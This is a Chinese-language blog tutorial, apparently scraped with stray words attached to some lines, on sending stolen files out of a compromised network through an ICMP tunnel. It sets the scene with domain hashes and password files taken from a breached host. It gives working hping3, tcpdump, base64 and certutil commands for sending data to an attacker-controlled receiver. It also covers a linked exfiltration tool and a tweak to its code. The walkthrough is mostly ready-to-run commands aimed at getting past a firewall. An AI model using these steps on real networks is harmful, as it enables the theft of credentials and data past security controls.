icmp隧道手工操做

ICMP協議被用於檢測網絡連通狀態的協議,一般狀況下,防火牆會默認放過該協議。python

滲透測試中常常出現一種狀況是,咱們經過某一種方式取得了一臺主機的權限,獲得了一些文件,好比域hash,密碼文件之類的東西,須要回傳至本地進行破解,可是防火牆阻斷了由內網發起請求的協議,只有icmp沒有被阻斷,而咱們又須要回傳文件,這個時候就能夠利用icmp隧道來進行傳輸。linux

【基本步驟】以下:ios

(1)、將所要傳輸的文件進行base64編碼:windows下能夠用certutil命令;linux能夠用base64命令git

(2)、在遠程主機監聽並轉儲icmp數據包:經常使用的工具備tcpdump、wiresharkgithub

(3)、經過能夠構造icmp數據包的工具對咱們的遠程主機發送icmp數據包:經常使用的工具備hping3,或者本身python寫一個windows

(4)對收到的icmp包提取data數據段內容,進行拼接,從新進行base64解碼,獲得源文件安全

我這裏在linux下使用hping3 和wireshark來手動實現,文章結尾會再引用覺得大神寫的幾個腳本工具來快速復現一次網絡

 

一、將咱們要傳輸的文件進行base64編碼:app

base64 XXX>test              #linux
certutil -encode test.zip temp    #windows
#-encode  base64編碼
#test.zip   要加密的文件
#temp      生成的base64編碼文件

二、在接收的遠程主機上輸入下面的命令監聽接收的數據,並開啓wireshark,並設置過濾策略爲只監聽icmptcp

hping3 x.x.x.x --listen signature --safe --icmp -u

參數說明:

(1)--listen    指定hping3爲監聽模式,接收發來的數據

(2)signature  指定接收數據的簽名,每條發來的數據都會在最前面帶上這個字符串,也就是說,「signature」這個字符串後就是咱們接受到的數據,後面拼接是要用到

(3)--safe   以安全模式接收,確保發來的數據包是按照發送順序,完整的接收到

(4)--icmp    指定經過icmp協議傳輸

(5)-u     接收完成後自動中斷(官方資料如是說,可是我這裏沒有達到這個效果)

(6)x.x.x.x   是咱們指定的須要接收的地址,也就是代表:咱們只接收來自192.168.164.128發來的icmp數據包

三、在發送方執行下面的命令,來經過icmp數據包發送文件

sudo hping3 192.168.164.136 --icmp -d 1000 --sign signature --file test -u

參數說明:(與上面重複的不在說明)

(1)x.x.x.x      指定咱們要發送給那個主機

(2)-d         指定每一個數據包的大小

(3)--sign signature  指定簽名內容,也就是上一步咱們須要接收的簽名字符串爲"signature"

(4)--file test      指定咱們要傳輸的文件爲test文件,也就是咱們進行base64編碼後的編碼文件

*按理說,應該也能夠用--safe參數的,可是我這裏用--safe後,目的地址就變成了127.0.0.1,不知道怎們回事,暫且不用

加了-u參數後,文件發送完成,它會提示咱們按下ctrl+c來中止傳送,若是不中止,它會反覆發送

四、在接收端wireshark已經能夠看到接受到的數據包

這裏因爲測試,咱們的文件比較短,直接提取data中text類型中的字符串,右鍵->copy->value就能夠取到

因爲咱們取到的值進行了簽名,就是前面的「signature」字符串,咱們直接去掉這個字符串,只保留後面的base64編碼,保存爲temp

五、在接收端執行解碼命令還原文件

cat temp|base64 -d>test       #linux
certutil -decode temp test.zip  #windows
#-decode  base64編碼
#temp      要解密的base64編碼文件
#test.zip   生還原的文件

 

能夠看到已經對文件進行了還原,是一個zip文件。

傳輸完成

【引用】

接下來,我在這裏引用兩篇文章,是一位大神寫了一個python工具,來實現了icmp隧道傳輸,十分值得借鑑,兩篇文章用的是同一種方法和工具,一篇偏重滲透思路,另外一篇主要是對工具的總結,內容上有重合部分,能夠借鑑

我稍微總結下具體的工具使用,詳細的能夠去看這兩篇文章

工具:icmp_tunnel_ex_filtrate-master:https://github.com/NotSoSecure/icmp_tunnel_ex_filtrate

一、在接收機器上運行tcpdump監聽並接收icmp數據包

tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -XX -vvv -w output.txt

參數說明:

(1)-i eth0                            指定監聽的網卡

(2)icmp and icmp[icmptype]=icmp-echo -XX -vvv         監聽策略,過濾出icmp數據包

(3)-w output.txt                        指定輸出文件爲output.txt

二、經過下面的命令運行工具腳本,發送文件,它會自動轉換爲base64編碼發送

sudo python icmp_transmitter.py test x.x.x.x

 參數說明:

(1)test:    咱們要發送的文件

(2)x.x.x.x:   指定要發送給哪一個主機的ip

注:原來這個工具是windows下的,用了certutil進行了編碼,因爲我這裏用的linux,因此對他的代碼進行了些許修改,即把原來init函數中的

os.system("certutil -encode  "+ file +" test.txt")
改成了
os.system("base64  "+ file +" > test.txt")

使用windows的同窗就不用改了

三、咱們在接收端應該能夠看到接收到了信息

 

按ctrl+c中止監聽,而後按照parser.sh文件中的命令對output.txt文件處理,就能夠獲得base64文件了,而後按照上面的步驟進行解碼就能夠了

生成的transmitted.txt就是文件base64的編碼了

已經還原出我要傳輸的文件了

大神的這個腳本仍是蠻厲害的,並且大神是在windows環境下用的,還把python腳本用py2exe模塊處理成了exe文件,能夠看到只需稍微修改就能夠運用於各類環境

 *按理說這個sh文件應該能夠直接執行的,不知道怎麼的,我再linux下,須要手工輸入才能夠,腳本直接運行會報錯,不能生成output1.txt文件,可能個人環境變量有問題吧

【文章】:

(1)偏滲透思路

https://m.baidu.com/from=1014517c/bd_page_type=1/ssid=0/uid=0/baiduid=BF1E191B8AC484726DC1308DF0E37D18/w=0_10_/t=zbios/l=3/tc?ref=www_zbios&pu=sz%401320_480%2Ccuid%40la24aj8cB80Quvak_ivT8jOqvt0qO2aJgiHiugPq2i8ia-8ggav4i_u3viYua2fHA%2Ccua%40_a-qi4aqBig4NE65I5me6NI0-I_UCvC5SdNqA%2Ccut%4009STI0tc2i4jaXiDyavdC5kcSMzWtpBsB%2Cosname%40baiduboxapp%2Cctv%402%2Ccfrom%401014517c%2Ccen%40cuid_cua_cut%2Ccsrc%40browserf_box_txt%2Cta%40zbios_2_7.0_6_8.3%2Cusm%401%2Cvmgdb%400020100228y&lid=10256142585042083616&order=2&fm=alop&tj=www_normal_2_0_10_title&vit=osres&m=8&srd=1&cltj=cloud_title&asres=1&nt=wnor&title=%E6%A1%88%E4%BE%8B%E5%AD%A6%E4%B9%A0%3A%E5%A6%82%E4%BD%95%E9%80%9A%E8%BF%87ICMPtunnel%E8%8E%B7%E5%8F%96%E6%9C%AA%E8%BF%87%E6%BB%A4%E6%95%B0%E6%8D%AE-%E7%BD%91%E7%AB%99...&dict=20&w_qd=IlPT2AEptyoA_ykwv4op6AQ6vAfHtn-inklisxezdeJc&sec=19931&di=2ce50d030f985362&bdenc=1&tch=124.0.304.189.0.0&nsrc=IlPT2AEptyoA_yixCFOxXnANedT62v3IEQGG_yFB_jexppjfxP4kHREsRF0hRH_ZH5CwdoSGdMJRtXLR0HEobxpOrxpms7oaznuPcfTqhB7UVNBE&eqid=8e5523577b30a0001000000258dcf07c&wd=&clk_info=%7B%22srcid%22%3A%221599%22%2C%22tplname%22%3A%22www_normal%22%2C%22t%22%3A1490874582535%2C%22xpath%22%3A%22div-a-h3%22%7D

(2)偏工具使用

http://www.hackdig.com/09/hack-39591.htm

相關文章
相關標籤/搜索